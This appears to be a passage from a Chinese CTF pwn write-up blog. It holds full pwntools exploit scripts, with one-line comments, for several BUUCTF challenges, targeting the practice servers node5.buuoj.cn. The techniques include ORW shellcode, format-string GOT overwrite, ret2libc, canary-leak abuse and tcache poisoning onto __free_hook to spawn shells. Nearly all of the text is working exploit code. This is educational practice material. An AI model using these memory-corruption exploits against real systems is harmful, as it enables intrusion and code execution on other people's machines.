1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) p=remote('node5.buuoj.cn' ,25912 ) elf=ELF('./pwn1' ) context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) def add (size,content ): sla(b'Your choice:' ,b'1' ) sla(b'Please input size:' ,str (size)) sla(b'Please input content:' ,content) def free (idx ): sla(b'Your choice:' ,b'2' ) sla(b'Please input list index:' ,str (idx)) def show (idx ): sla(b'Your choice:' ,b'3' ) sla(b'Please input list index:' ,str (idx)) def debug (): gdb.attach(p) pause() sh=0x602010 system=elf.plt['system' ] add(0x80 ,b'bbbb' ) add(0x80 ,b'bbbb' ) add(0x10 ,b'cccc' ) free(0 ) free(1 ) add(0x18 ,p64(sh)+p64(system)) show(0 ) p.interactive()
[极客大挑战 2019]Not Bad(shellcode) 开始我还想着怎么空间就是不够,原来要先跳转到开辟的空间上面,在执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,29051 ) mmap=0x123000 shellcode = asm(''' push 0x67616c66 push rsp pop rdi push 0 pop rsi push 2 pop rax syscall push 3 pop rdi push rsp pop rsi push 0x50 pop rdx push 0 pop rax syscall push 1 pop rdi push rsp pop rsi push 0x50 pop rdx push 1 pop rax syscall ''' )shell=asm( ''' sub rsp,0x30 jmp rsp ''' ) payload1=asm(shellcraft.read(0 ,mmap,0x100 ))+asm(''' mov rax,0x123000 call rax ''' )payload=payload1.ljust(0x28 ,b'\x90' )+p64(0x400a01 )+shell p.send(payload) p.sendline(shellcode) p.interactive()
axb_2019_fmt64(fmtstr_payload) fmtstr_payload这个用法也是第一次学到,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,29116 ) elf=ELF('./pwn1' ) libc=ELF('./libc-2.23.so' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] printf=elf.got['printf' ] printf_plt=elf.plt['printf' ] p.sendline(b'%83$p\x00' ) p.recvuntil(b'0x' ) leak_base=int (p.recv(12 ),16 )-0x20830 log.success(f'libc>>>{hex (leak_base)} ' ) system=leak_base+libc.sym['system' ] log.success(f'system>>>{hex (system)} ' ) payload = fmtstr_payload(8 , {printf:system}, write_size = 'byte' , numbwritten = 0x9 ) p.sendline(payload) p.sendline(b';/bin/sh\x00' ) p.interactive()
wustctf2020_name_your_cat 数组越界直接把后门写到返回地址处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) p=remote(b'node5.buuoj.cn' ,25779 ) shell=0x80485cb p.sendlineafter(b'Name for which?' ,b'7' ) p.sendlineafter(b'Give your name plz:' ,p32(shell)) p.sendlineafter(b'Name for which?' ,b'7' ) p.sendlineafter(b'Give your name plz:' ,p32(shell)) p.sendlineafter(b'Name for which?' ,b'7' ) p.sendlineafter(b'Give your name plz:' ,p32(shell)) p.sendlineafter(b'Name for which?' ,b'7' ) p.sendlineafter(b'Give your name plz:' ,p32(shell)) p.sendlineafter(b'Name for which?' ,b'7' ) p.sendlineafter(b'Give your name plz:' ,p32(shell)) p.interactive()
cmcc_pwnme1 后门不能用就是ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(log_level='debug' ) p=remote(b'node5.buuoj.cn' ,27544 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=0x80486f4 payload=b'a' *(0xA4 +4 )+p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(b'5' ) p.sendline(payload) leak=u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) libc_base=leak-libc.sym['puts' ] bin_sh_addr=libc_base+next (libc.search(b'/bin/sh' )) system_addr=libc_base+libc.sym['system' ] payload2=b'a' *0xa4 +b'a' *4 +p32(system_addr)+p32(main)+p32(bin_sh_addr) p.sendline(b'5' ) p.sendline(payload2) p.interactive()
wdb2018_guess 循环三次,我开始还以为先利用fork爆破canary再ret2libc结果没搞出,后面才知道可以这样利用
详细题解看这个
wdb2018_guess题解 | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,27624 ) s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print (p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) lg = lambda s, num: log.success(f"{s} >>> {hex (num)} " ) elf=ELF("./pwn" ) libc=ELF('/home/yfy/pwn_tools/buu_libc/16-64/libc-2.23.so' ) puts_got=elf.got['puts' ] offset=0x128 payload=b'a' *offset+p64(puts_got) p.sendline(payload) p.recvuntil(b"*** stack smashing detected ***: " ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base=leak-libc.sym['puts' ] environ = libc_base + libc.sym["environ" ] lg('libc_base' ,libc_base) payload=b'a' *offset+p64(environ) sla(b'Please type your guessing flag\n' ,payload) p.recvuntil(b"*** stack smashing detected ***: " ) stack=u64(p.recv(6 ).ljust(8 ,b'\x00' )) lg('stack' ,stack) flag=stack-0x168 get_flag=b'a' *offset+p64(flag) sl(get_flag) p.interactive()
第四页 hitcon_2018_children_tcache 详解hitcon_2018_children_tcache题解 | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(log_level='debug' ) p=process("./pwn" ) elf=ELF("./pwn" ) libc=ELF('libc-2.27.so' ) def debug (): gdb.attach(p) pause() def add (size,data ): p.sendlineafter(b'Your choice: ' ,str (1 )) p.sendlineafter(b'Size:' ,str (size)) p.sendlineafter(b'Data' ,data) def show (idx ): p.sendlineafter(b'Your choice: ' ,b'2' ) p.sendlineafter(b'Index:' ,str (idx)) def free (idx ): p.sendlineafter(b'Your choice: ' ,b'3' ) p.sendlineafter(b'Index:' ,str (idx)) add(0x410 ,b'a' ) add(0x68 ,b'b' ) add(0x4f0 ,b'c' ) add(0x30 ,b'd' ) free(0 ) free(1 ) for i in range (9 ): add(0x68 - i,b's' *(0x68 -i)) free(0 ) add(0x68 ,b'a' *0x60 +p64(0x490 )) free(2 ) add(0x410 ,b'a' *1 ) show(0 ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 log.info("libc=" +hex (leak)) shell=leak+0x4f322 free_hook=leak+libc.sym["__free_hook" ] debug() add(0x80 ,b'a' ) free(2 ) free(0 ) add(0x80 ,p64(free_hook)) add(0x80 ,b'aaaa' ) add(0x80 ,p64(shell)) free(0 ) p.interactive()